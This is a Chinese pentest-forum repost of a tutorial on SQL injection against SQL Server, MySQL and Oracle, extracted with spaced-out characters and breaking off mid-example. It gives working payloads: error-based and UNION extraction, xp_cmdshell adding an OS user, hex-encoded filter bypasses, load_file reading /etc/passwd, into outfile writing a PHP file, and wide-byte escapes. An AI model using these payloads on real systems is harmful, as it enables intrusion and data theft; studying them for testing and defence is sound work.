设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [21072] 2020-06-10_三种数据库的SQL注入详解
返回列表 发新帖
查看: 1|回复: 0

[21072] 2020-06-10_三种数据库的SQL注入详解

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-06-10_三种数据库的SQL注入详解 三 种 数 据 库 的   S Q L   注 入 详 解 L e m o n S e c   2 0 2 0 - 0 6 - 1 0 S Q L   注 入 原 理 S Q L 注 入 攻 击 指 的 是 通 过 构 建 特 殊 的 输 入 作 为 参 数 传 入 W e b 应 用 程 序 ， 而 这 些 输 入 大 都 是 S Q L 语 法 里 的 一 些 组 合 ， 通 过 执 行 S Q L 语 句 进 而 执 行 攻 击 者 所 要 的 操 作 ， 其 主 要 原 因 是 程 序 没 有 细 致 地 过 滤 用 户 输 入 的 数 据 ， 致 使 非 法 数 据 侵 入 系 统 。 S Q L   注 入 分 类 1 .   数 字 型 注 入 当 输 入 的 参 数 为 整 型 时 ， 则 有 可 能 存 在 数 字 型 注 入 漏 洞 。 假 设 存 在 一 条   U R L   为 ： H T T P : / / w w w . a a a . c o m / t e s t . p h p ? i d = 1 可 以 对 后 台 的   S Q L   语 句 猜 测 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   i d = 1 判 断 数 字 型 漏 洞 的   S Q L   注 入 点 ： ①   先 在 输 入 框 中 输 入 一 个 单 引 号   ' 这 样 的   S Q L   语 句 就 会 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   i d = 1 ' ， 不 符 合 语 法 ， 所 以 该 语 句 肯 定 会 出 错 ， 导 致 脚 本 程 序 无 法 从 数 据 库 获 取 数 据 ， 从 而 使 原 来 的 页 面 出 现 异 常 。 ②   在 输 入 框 中 输 入   a n d   1   =   1 S Q L 语 句 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   i d = 1   a n d   1   =   1 语 句 正 确 ， 执 行 正 常 ， 返 回 的 数 据 与 原 始 请 求 无 任 何 差 异 。 ③   在 数 据 库 中 输 入   a n d   1   =   2 S Q L   语 句 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   i d = 1   a n d   1   =   2 虽 然 语 法 正 确 ， 语 句 执 行 正 常 ， 但 是 逻 辑 错 误 ， 因 为   1   =   2   为 永 假 ， 所 以 返 回 数 据 与 原 始 请 求 有 差 异 。 如 果 以 上 三 个 步 骤 全 部 满 足 ， 则 程 序 就 可 能 存 在 数 字 型   S Q L   注 入 漏 洞 。 2 .   字 符 型 注 入 当 输 入 参 数 为 字 符 串 时 ， 则 可 能 存 在 字 符 型 注 入 漏 洞 。 数 字 型 与 字 符 型 注 入 最 大 的 区 别 在 于 ： 数 字 型 不 需 要 单 引 号 闭 合 ， 而 字 符 型 一 般 需 要
使 用 单 引 号 来 闭 合 。 字 符 型 注 入 最 关 键 的 是 如 何 闭 合   S Q L   语 句 以 及 注 释 多 余 的 代 码 。 假 设 后 台 的   S Q L   语 句 如 下 ： S E L E C T   *   F R O M   t a b l e   W H E R E   u s e r n a m e   =   ' a d m i n ' 判 断 字 符 型 漏 洞 的   S Q L   注 入 点 ： ①   还 是 先 输 入 单 引 号   a d m i n '   来 测 试 这 样 的   S Q L   语 句 就 会 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   u s e r n a m e   =   ' a d m i n ' ' 。 页 面 异 常 。 ②   输 入 ： a d m i n '   a n d   1   =   1   - - 注 意 ： 在   a d m i n   后 有 一 个 单 引 号   ' ， 用 于 字 符 串 闭 合 ， 最 后 还 有 一 个 注 释 符   - - ( 两 条 杠 后 面 还 有 一 个 空 格 ！ ！ ！ ) 。 S Q L   语 句 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   u s e r n a m e   =   ' a d m i n '   a n d   1   =   1   - - 页 面 显 示 正 确 。 ③   输 入 ： a d m i n '   a n d   1   =   2   - - S Q L   语 句 变 为 ： S E L E C T   *   F R O M   t a b l e   W H E R E   u s e r n a m e   =   ' a d m i n '   a n d   1   =   2   - - 页 面 错 误 。 满 足 上 面 三 个 步 骤 则 有 可 能 存 在 字 符 型   S Q L   注 入 。 3 .   其 他 类 型 其 实 我 觉 得 S Q L   注 入 只 有 两 种 类 型 ： 数 字 型 与 字 符 型 。 很 多 人 可 能 会 说 还 有 如 ： C o o k i e   注 入 、 P O S T   注 入 、 延 时 注 入 等 。 的 确 如 此 ， 但 这 些 类 型 的 注 入 归 根 结 底 也 是 数 字 型 和 字 符 型 注 入 的 不 同 展 现 形 式 或 者 注 入 的 位 置 不 同 罢 了 。 以 下 是 一 些 常 见 的 注 入 叫 法 ：         P O S T 注 入 ： 注 入 字 段 在   P O S T   数 据 中         C o o k i e 注 入 ： 注 入 字 段 在   C o o k i e   数 据 中         延 时 注 入 ： 使 用 数 据 库 延 时 特 性 注 入         搜 索 注 入 ： 注 入 处 为 搜 索 的 地 方         b a s e 6 4 注 入 ： 注 入 字 符 串 需 要 经 过   b a s e 6 4   加 密 常 见 数 据 库 的 注 入 攻 击 者 对 于 数 据 库 注 入 ， 无 非 是 利 用 数 据 库 获 取 更 多 的 数 据 或 者 更 大 的 权 限 ， 利 用 的 方 式 可 以 归 结 为 以 下 几 类 ：         查 询 数 据
        读 写 文 件         执 行 命 令 攻 击 者 对 于 程 序 注 入 ， 无 论 任 何 数 据 库 ， 无 非 都 是 在 做 这 三 件 事 ， 只 不 过 不 同 的 数 据 库 注 入 的   S Q L   语 句 不 一 样 罢 了 。 这 里 介 绍 三 种 数 据 库 的 注 入 ： O r a c l e   1 1 g 、 M y S Q L   5 . 1   和   S Q L   S e r v e r   2 0 0 8 。 S Q L   S e r v e r 1 .   利 用 错 误 消 息 提 取 信 息 S Q L   S e r v e r   数 据 库 是 一 个 非 常 优 秀 的 数 据 库 ， 它 可 以 准 确 地 定 位 错 误 信 息 ， 这 对 攻 击 者 来 说 是 一 件 十 分 美 好 的 事 情 ， 因 为 攻 击 者 可 以 通 过 错 误 消 息 提 取 自 己 想 要 的 数 据 。 ① ①   枚 举 当 前 表 或 者 列 枚 举 当 前 表 或 者 列 假 设 选 择 存 在 这 样 一 张 表 ： 查 询   r o o t   用 户 的 详 细 信 息 ， S Q L   语 句 猜 测 如 下 ： S E L E C T   *   F R O M   u s e r   W H E R E   u s e r n a m e   =   ' r o o t '   A N D   p a s s w o r d   =   ' r o o t ' 攻 击 者 可 以 利 用   S Q L   S e r v e r   特 性 来 获 取 敏 感 信 息 ， 在 输 入 框 中 输 入 如 下 语 句 ： '   h a v i n g   1   =   1   - - 最 终 执 行 的   S Q L   语 句 就 会 变 为 ： S E L E C T   *   F R O M   u s e r   W H E R E   u s e r n a m e   =   ' r o o t '   A N D   p a s s w o r d   =   ' r o o t '   H A V I N G   1   =   1   - - 那 么   S Q L   的 执 行 器 可 能 会 抛 出 一 个 错 误 ： 攻 击 者 就 可 以 发 现 当 前 的 表 名 为   u s e r 、 而 且 存 在 字 段   i d 。 攻 击 者 可 以 利 用 此 特 性 继 续 得 到 其 他 列 名 ， 输 入 如 下 语 句 ： '   G R O U P   B Y   u s e r s . i d   H A V I N G   1   =   1   - - 则   S Q L   语 句 变 为 ：
S E L E C T   *   F R O M   u s e r   W H E R E   u s e r n a m e   =   ' r o o t '   A N D   p a s s w o r d   =   ' r o o t '   G R O U P   B Y   u s e r s . i d   H A V I N G   1   =   1   - - 抛 出 错 误 ： 由 此 可 以 看 到 包 含 列 名   u s e r n a m e 。 可 以 一 次 递 归 查 询 ， 知 道 没 有 错 误 消 息 返 回 位 置 ， 这 样 就 可 以 利 用   H A V I N G   字 句 得 到 当 表 的 所 有 列 名 。 注 ： S e l e c t 指 定 的 每 一 列 都 应 该 出 现 在 G r o u p   B y 子 句 中 ， 除 非 对 这 一 列 使 用 了 聚 合 函 数 ② .   利 用 数 据 类 型 错 误 提 取 数 据 如 果 试 图 将 一 个 字 符 串 与 非 字 符 串 比 较 ， 或 者 将 一 个 字 符 串 转 换 为 另 一 个 不 兼 容 的 类 型 ， 那 么 S Q L   编 辑 器 将 会 抛 出 异 常 。 如 下 列   S Q L   语 句 ： S E L E C T   *   F R O M   u s e r   W H E R E   u s e r n a m e   =   ' a b c '   A N D   p a s s w o r d   =   ' a b c '   A N D   1   >   ( S E L E C T   T O P   1   u s e r n a m e   F R O M   u s e r s ) 执 行 器 错 误 提 示 ： 这 就 可 以 获 取 到 用 户 的 用 户 名 为   r o o t 。 因 为 在 子 查 询   S E L E C T   T O P   1   u s e r n a m e   F R O M   u s e r s   中 ， 将 查 询 到 的 用 户 名 的 第 一 个 返 回 ， 返 回 类 型 是   v a r c h a r   类 型 ， 然 后 要 跟   i n t   类 型 的   1   比 较 ， 两 种 类 型 不 同 的 数 据 无 法 比 较 而 报 错 ， 从 而 导 致 了 数 据 泄 露 。 利 用 此 方 法 可 以 递 归 推 导 出 所 有 的 账 户 信 息 ： S E L E C T   *   F R O M   u s e r s   W H E R E   u s e r n a m e   =   ' a b c '   A N D   p a s s w o r d   =   ' a b c '   A N D   1   >   ( S E L E C T   T O P   1   u s e r n a m e   F R O M   u s e r s   W H E R E   n o t   i n ( ' r o o t ' ) ) 。 通 过 构 造 此 语 句 就 可 以 获 得 下 一 个   用 户 名 ； 若 把 子 查 询 中 的   u s e r n a m e   换 成 其 他 列 名 ， 则 可 以 获 取 其 他 列 的 信 息 ， 这 里 就 不 再 赘 述 。 2 .   获 取 元 数 据 S Q L   S e r v e r   提 供 了 大 量 视 图 ， 便 于 取 得 元 数 据 。 可 以 先 猜 测 出 表 的 列 数 ， 然 后 用   U N I O N   来 构 造   S Q L   语 句 获 取 其 中 的 数 据 。 如 ： S E L E C T   * * *   F R O M   * * *   W H E R E   i d   =   * * *   U N I O N   S E L E C T   1 ,   T A B L E _ N A M E   F R O M   I N F O R M A T I O N _ S C H E M A . T A B L E S 若 当 前 表 的 列 数 为   2 ， 则 可 以   U N I O N   语 句 获 取 当 前 数 据 库 表 。 具 体 怎 么 猜 测 当 前 表 的 列 数 ， 后 面 进 行 描 述 。 一 些 常 用 的 系 统 数 据 库 视 图 ：
3 .   O R D E R   B Y   子 句 猜 测 列 数 可 以 用   O R D E R   B Y   语 句 来 判 断 当 前 表 的 列 数 。 如 ： ①   S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1 — — S Q L 执 行 正 常 ② S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1   O R D E R   B Y   1   ( 按 照 第 一 列 排 序 ) — — S Q L 执 行 正 常 ③   S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1   O R D E R   B Y   2   ( 按 照 第 二 列 排 序 ) — — S Q L 执 行 正 常 ④   S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1   O R D E R   B Y   3   ( 按 照 第 三 列 排 序 ) — — S Q L   执 行 正 常 ⑤   S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1   O R D E R   B Y   4   ( 按 照 第 四 列 排 序 ) — — S Q L   抛 出 异 常 ： 由 此 可 以 得 出 ， 当 前 表 的 列 数 只 有   3   列 ， 因 为 当 按 照 第   4   列 排 序 时 报 错 了 。 在   O r a c l e   和   M y S q l     数 据 库 中 同 样 适 用 此 方 法 。 在 得 知 列 数 后 ， 攻 击 者 通 常 会 配 合   U N I O N   关 键 字 进 行 下 一 步 的 攻 击 。 4 .   U N I O N   查 询 U N I O N   关 键 字 将 两 个 或 多 个 查 询 结 果 组 合 为 单 个 结 果 集 ， 大 部 分 数 据 库 都 支 持   U N I O N   查 询 。 但 适 用   U N I O N   合 并 两 个 结 果 有 如 下 基 本 规 则 ：         所 有 查 询 中 的 列 数 必 须 相 同         数 据 类 型 必 须 兼 容 ①   用   U N I O N   查 询 猜 测 列 数 不 仅 可 以 用   O R D E R   B Y   方 法 来 猜 测 列 数 ， U N I O N   方 法 同 样 可 以 。 在 之 前 假 设 的   u s e r   表 中 有   5   列 ， 若 我 们 用   U N I O N   联 合 查 询 ： S E L E C T   *   F R O M   u s e r s   W H E R E   i d   =   1   U N I O N   S E L E C T   1 数 据 库 会 发 出 异 常 ： 可 以 通 过 递 归 查 询 ， 直 到 无 错 误 产 生 ， 就 可 以 得 知   U s e r   表 的 查 询 字 段 数 ： U N I O N   S E L E C T   1 , 2 、 U N I O N   S E L E C T   1 , 2 , 3 也 可 以 将   S E L E C T   后 面 的 数 字 改 为   n u l l 、 这 样 不 容 易 出 现 不 兼 容 的 异 常 。 ②   联 合 查 询 敏 感 信 息 在 得 知 列 数 为   4 后 ， 可 以 使 用 一 下 语 句 继 续 注 入 ： U N I O N   S E L E C T   ' x ' ,   n u l l ,   n u l l ,   n u l l   F R O M   S Y S O B J E C T   W H E R E   x t y p e = ' U '   ( 注 ： x t y p e = ‘ U ’   表 示 对 象 类 型 是 表 )
若 第 一 列 的 数 据 类 型 不 匹 配 ， 数 据 库 会 报 错 ， 那 么 可 以 递 归 查 询 ， 直 到 语 句 兼 容 。 等 到 语 句 正 常 执 行 ， 就 可 以 将   x   换 为   S Q L   语 句 ， 查 询 敏 感 信 息 。 5 .   利 用 S Q L   S e r v e r   提 供 的 系 统 函 数 S Q L   S e r v e r   提 供 了 非 常 多 的 系 统 函 数 ， 利 用 该 系 统 函 数 可 以 访 问   S Q L   S e r v e r   系 统 表 中 的 信 息 ， 而 无 需 使 用   S Q L   查 询 语 句 。 如 ：         S E L E C T   s u s e r _ n a m e ( ) ： 返 回 用 户 的 登 录 标 识 名         S E L E C T   u s e r _ n a m e ( ) ： 基 于 指 定 的 标 识 号 返 回 数 据 库 用 户 名         S E L E C T   d b _ n a m e ( ) ： 返 回 数 据 库 名         S E L E C T   i s _ m e m b e r ( ‘ d b _ o w n e r ’ ) ： 是 否 为 数 据 库 角 色         S E L E C T   c o n v e r t ( i n t ,   ‘ 5 ’ ) ： 数 据 类 型 转 换 6 .   存 储 过 程 存 储 过 程   ( S t o r e d   P r o c e d u r e )   是 在 大 型 数 据 库 系 统 中 为 了 完 成 特 定 功 能 的 一 组   S Q L   “ 函 数 ” ， 如 ： 执 行 系 统 命 令 、 查 看 注 册 表 、 读 取 磁 盘 目 录 等 。 攻 击 者 最 长 使 用 的 存 储 过 程 是   “ x p _ c m d s h e l l ” ， 这 个 存 储 过 程 允 许 用 户 执 行 操 作 系 统 命 令 。 例 如 ： h t t p : / / w w w . a a a . o r g / t e s t . a s p x ? i d = 1   中 存 在 注 入 点 ， 那 么 攻 击 者 就 可 以 实 施 命 令 攻 击 ： h t t p : / / w w w . a a a . o r g / t e s t . a s p x ? i d = 1 ； e x e c   x p _ c m d s h e l l   ' n e t   u s e r   t e s t   t e s t   / a d d ' 最 终 执 行 的   S Q L   语 句 如 下 ： S E L E C T   *   F R O M   t a b l e   W H E R E   i d = 1 ;   e x e c   x p _ c m d s h e l l   ' n e t   u s e r   t e s t   t e s t   / a d d ' 分 号 后 面 的 那 一 段 语 句 就 可 以 为 攻 击 者 在 对 方 服 务 器 上 新 建 一 个 用 户 名 为   t e s t 、 密 码 为   t e s t   的 用 户 。 注 ： 并 不 是 任 何 数 据 库 用 户 都 可 以 使 用 此 类 存 储 过 程 ， 用 户 必 须 持 有   C O N T R O L   S E R V E R   权 限 。 常 见 的 危 险 存 储 过 程 如 下 表 ： 另 外 ， 任 何 数 据 库 在 使 用 一 些 特 殊 的 函 数 或 存 储 过 程 时 ， 都 需 要 特 定 的 权 限 。 常 见 的 S Q L   S e r v e r   数 据 库 的 角 色 与 权 限 如 下 ：
7 .   动 态 执 行 S Q L   S e r v e r   支 持 动 态 执 行 语 句 ， 用 户 可 以 提 交 一 个 字 符 串 来 执 行   S Q L   语 句 。 如 ： e x e c ( ' S E L E C T   u s e r n a m e ,   p a s s w o r d   F R O M   u s e r s ' ) 也 可 以 通 过 定 义 十 六 进 制 的   S Q L   语 句 ， 使 用   e x e c   函 数 执 行 。 大 部 分   W e b   应 用 程 序 和 防 火 墙 都 过 滤 了 单 引 号 ， 利 用   e x e c   执 行 十 六 进 制   S Q L 语 句 可 以 突 破 很 多 防 火 墙 及 防 注 入 程 序 ， 如 ： 或 者 ： d e c l a r e / * * / @ q u e r y / * * / v a r c h a r ( 8 8 8 ) / * * / s e l e c t / * * / @ q u e r y = 0 x 7 3 6 5 6 C 6 5 6 3 7 4 2 0 3 1 / * * / e x e c ( @ q u e r y ) M y S Q L 前 面 详 细 讲 述 了   S Q L   S e r v e r   的 注 入 过 程 ， 在 注 入 其 他 数 据 库 时 ， 基 本 思 路 是 相 同 的 ， 只 不 过 两 者 使 用 的 函 数 或 者 是 语 句 稍 有 差 异 。 1 .   M y S Q L   中 的 注 释 M y S Q L   支 持 以 下   3   中 注 释 风 格 ：         “ # ” ： 注 释 从   “ # ”   到 行 尾         " - -   "   ： 注 释 从   “ - -   ” 序 列 到 行 位 ， 需 要 注 意 的 是 使 用 此 注 释 时 ， 后 面 需 要 跟 上 空 格         / * * / ： 注 释 从   / *   到   * /   之 间 的 字 符 2 .   获 取 元 数 据 M y S Q L   5 . 0   及 其 以 上 版 本 提 供 了   I N F O R M A T I O N _ S C H E M A ， 这 是 一 个 信 息 数 据 库 ， 它 提 供 了 访 问 数 据 库 元 数 据 的 方 式 。 下 面 介 绍 如 何 从 中 读 取 数 据 库 名 称 、 表 名 称 以 及 列 名 称 。 ①   查 询 用 户 数 据 库 名 称 S E L E C T   S C H E M A _ N A M E   F R O M   I N F O R M A T I O N _ S C H E M A . S C H E M A T A I N F O R M A T I O N _ S C H E M A . S C H E M A T A   表 提 供 了 关 于 数 据 库 的 信 息 。 ② 查 询 当 前 数 据 表
S E L E C T   T A B L E _ N A M E   F R O M   I N F O R M A T I O N _ S C H E M A . T A B L E S   W H E R E   T A B L E _ S C H E M A   =   ( S E L E C T   D A T A B A S E ( ) ) I N F O R M A T I O N _ S C H E M A . T A B L E S   表 给 出 了 数 据 库 中 表 的 信 息 。 ③ 查 询 指 定 表 的 所 有 字 段 S E L E C T   C O L U M N _ N A M E   F R O M   I N F O R M A T I O N _ S C H E M A . C O L U M N S   W H E R E   T A B L E _ N A M E   =   ' * * * ' I N F O R M A T I O N _ S C H E M A . C O L U M N S   表 中 给 出 了 表 中 的 列 信 息 。 3 .   U N I O N   查 询 与   S Q L   S e r v e r   大 致 相 同 ， 此 处 不 赘 述 。 4 .   M y S Q L   函 数 利 用 无 论 是   M y S Q L 、 O r a c l e   还 是 其 他 数 据 库 都 内 置 了 许 多 系 统 函 数 ， 这 些 数 据 库 函 数 都 非 常 类 似 ， 接 下 来 介 绍 一 些 对 渗 透 测 试 人 员 很 有 帮 助 的 M y S Q L   函 数 。 ①   l o a d _ f i l e ( )   函 数 读 文 件 操 作 M y S Q L   提 供 了   l o a d _ f i l e ( )   函 数 ， 可 以 帮 助 用 户 快 速 读 取 文 件 ， 但 文 件 的 位 置 必 须 在 服 务 器 上 ， 文 件 必 须 为 绝 对 路 径 ， 且 用 户 必 须 有   F I L E   权 限 ， 文 件 容 量 也 必 须 小 于   m a x _ a l l o w e d _ p a c k e t   字 节   ( 默 认 为   1 6 M B ， 最 大 为   1 G B ) 。 S Q L   语 句 如 下 ： U N I O N   S E L E C T   1 ,   l o a d _ f i l e ( ' / e t c / p a s s w d ' ) ,   3 ,   4   # 通 常 一 些 防 注 入 语 句 不 允 许 单 引 号 出 现 ， 那 么 可 以 使 用 一 下 语 句 绕 过 ： U N I O N   S E L E C T   1 ,   l o a d _ f i l e ( 0 x 2 F 6 5 6 1 3 4 2 F 7 0 6 1 7 3 7 3 7 7 6 4 ) ,   3 ,   4   # “ 0 x 2 F 6 5 6 1 3 4 2 F 7 0 6 1 7 3 7 3 7 7 6 4 ”   为   “ / e t c / p a s s w d ”   的 十 六 进 制 转 换 结 果 。 在 浏 览 器 返 回 数 据 时 ， 有 可 能 存 在 乱 码 问 题 ， 那 么 可 以 使 用   h e x ( )   函 数 将 字 符 串 转 换 为 十 六 进 制 数 据 。 ②   i n t o   o u t f i l e   写 文 件 操 作 M y S Q L   提 供 了 向 磁 盘 写 文 件 的 操 作 ， 与   l o a d _ f i l e ( )   一 样 ， 必 须 有   F I L E   权 限 ， 并 且 文 件 必 须 为 全 路 径 名 称 。 写 入 文 件 ： S E L E C T   ' < ? p h p   p h p i n f o ( ) ; ? > '   i n t o   o u f i l e   ' C : w w w r o o t 1 . p h p ' ③   连 接 字 符 串 M y S Q L   如 果 需 要 一 次 查 询 多 个 数 据 ， 可 以 使 用   c o n c a t ( )   或   c o n c a t _ w s ( )   函 数 来 完 成 。 S E L E C T   n a m e   F R O M   s t u d e n t   W H E R E   i d   =   1   U N I O N   S E L E C T   c o n c a t ( u s e r ( ) ,   ' , ' ,   d a t a b a s e ( ) ,   ' , ' ,   v e r s i o n ( ) ) ; 也 可 以 将 逗 号 改 用 十 六 进 制 表 示 ： 0 x 2 c
5 .   M y S Q L   显 错 式 注 入 M y S Q L   也 存 在 显 错 式 注 入 ， 可 以 像   S Q L   S e r v e r   数 据 库 那 样 ， 使 用 错 误 提 取 消 息 。 ①   通 过   u p d a t e x m l   函 数 执 行   S Q L   语 句 首 先 了 解 下 u p d a t e x m l ( ) 函 数 ： u p d a t e x m l   ( X M L _ d o c u m e n t ,   X P a t h _ s t r i n g ,   n e w _ v a l u e ) ; 第 一 个 参 数 ： X M L _ d o c u m e n t 是 S t r i n g 格 式 ， 为 X M L 文 档 对 象 的 名 称 ； 第 二 个 参 数 ： X P a t h _ s t r i n g   ( X p a t h 格 式 的 字 符 串 )   ， 第 三 个 参 数 ： n e w _ v a l u e ， S t r i n g 格 式 ， 替 换 查 找 到 的 符 合 条 件 的 数 据 S E L E C T   *   F R O M   m e s s a g e   W H E R E   i d   =   1   a n d   u p d a t e x m l ( 1 ,   ( c o n c a t ( 0 x 7 c ,   ( S E L E C T   @ @ v e r s i o n ) ) ) ,   1 ) 其 中 的 c o n c a t ( ) 函 数 是 将 其 连 成 一 个 字 符 串 ， 因 此 不 会 符 合 X P A T H _ s t r i n g 的 格 式 ， 从 而 出 现 格 式 错 误 ， 报 错 ， 会 显 示 出 无 法 识 别 的 内 容 ： ② ②   通 过 通 过   e x t r a c t v a l u e 函 数 函 数 同 样 报 错 显 示 出 当 前 用 户 ： 6 .   宽 字 节 注 入 宽 字 节 注 入 是 由 编 码 不 统 一 所 造 成 的 ， 这 种 注 入 一 般 出 现 在   P H P   +   M y S Q L 中 。 在   P H P   配 置 文 件   p h p . i n i   中 存 在   m a g i c _ q u o t e s _ g p c   选 项 ， 被 称 为 魔 术 引 号 ， 当 此 选 项 被 打 开 时 ， 使 用   G E T 、 P O S T 、 C o o k i e   所 接 受 的   单 引 号 ( ’ ) 、 双 引 号 ( " ) 、 反 斜 线 ( )   和   N U L L   字 符 都 会 自 动 加 上 一 个 反 斜 线 转 义 。 如 下 使 用   P H P   代 码 使 用   $ _ G E T   接 收 参 数 ： 如 访 问 U R L ： ， 显 示 如 下 ： 单 引 号 S E E L C T   *   F R O M   m e s s a g e   W H E R E   i d =   1   A N D   e x t r a v t v a l u e ( 1 ,   c o n c a t ( 0 x 7 c ,   ( S E L E C T   u s e r ( ) ) ) ) h t t p : / w w w . x x s e r . c o m / G e t . p h p ? i d = ' '
被 转 义 后 就 变 成 了 ， 在   M y S Q L   中 ， 是 一 个 合 法 的 字 符 ， 也 就 没 办 法 闭 合 单 引 号 ， 所 以 ， 注 入 类 型 是 字 符 型 时 无 法 构 成 注 入 。 但 是 若 是 输 入 ： ， 访 问 U R L ： ， 显 示 如 下 ： 可 以 发 现 ， 这 次 单 引 号 没 有 被 转 义 ， 这 样 就 可 以 突 破   P H P   转 义 ， 继 续 闭 合   S Q L   语 句 进 行   S Q L   注 入 。 7 .   M y S Q L   长 字 符 截 断 M y S Q L   超 长 字 符 截 断 又 名   “ S Q L - C o l u m n - T r u n c a t i o n ” 。 在   M y S Q L   中 的 一 个 设 置 里 有 一 个   s q l _ m o d e   选 项 ， 当   s q l _ m o d e   设 置 为   d e f a u l t   时 ， 即 没 有 开 启   S T R I C T — — A L L _ T A B L E S   选 项 时 ， M y S Q L 对 插 入 超 长 的 值 只 会 提 示   w a r i n g ， 而 不 是   e r r o r 。 假 设 有 一 张 表 如 下 ： u s e r n a m e   字 段 的 长 度 为   7 。 分 别 插 入 一 下   S Q L   语 句 ： ①   插 入 正 常   S Q L   语 句 ： 成 功 插 入 。 ②   插 入 错 误 的   S Q L   语 句 ， 使   u s e r n a m e   字 段 的 长 度 超 过 7 ： 虽 然 有 警 告 ， 但 是 成 功 插 入 了 。 ③   再 尝 试 插 入 一 条 错 误 的   S Q L   语 句 ， 长 度 同 一 超 过 原 有 的 规 定 长 度 ： ' ' ' % d 5 ' h t t p : / w w w . x x s e r . c o m / G e t . p h p ? i d = % d 5 ' I N S E R T   u s e r s ( i d ,   u s e r n a m e ,   p a s s w o r d )   V A L U E S ( 1 ,   ' a d m i n ' ,   ' a d m i n ' ) ; I N S E R T   u s e r s ( i d ,   u s e r n a m e ,   p a s s w o r d )   V A L U E S ( 2 ,   ' a d m i n   ' ,   ' a d m i n ' ) ; I N S E R T   u s e r s ( i d ,   u s e r n a m e ,   p a s s w o r d )   V A L U E S ( 3 ,   ' a d m i n   x ) ,   ' a d m i n ;
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:33 , Processed in 0.301388 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表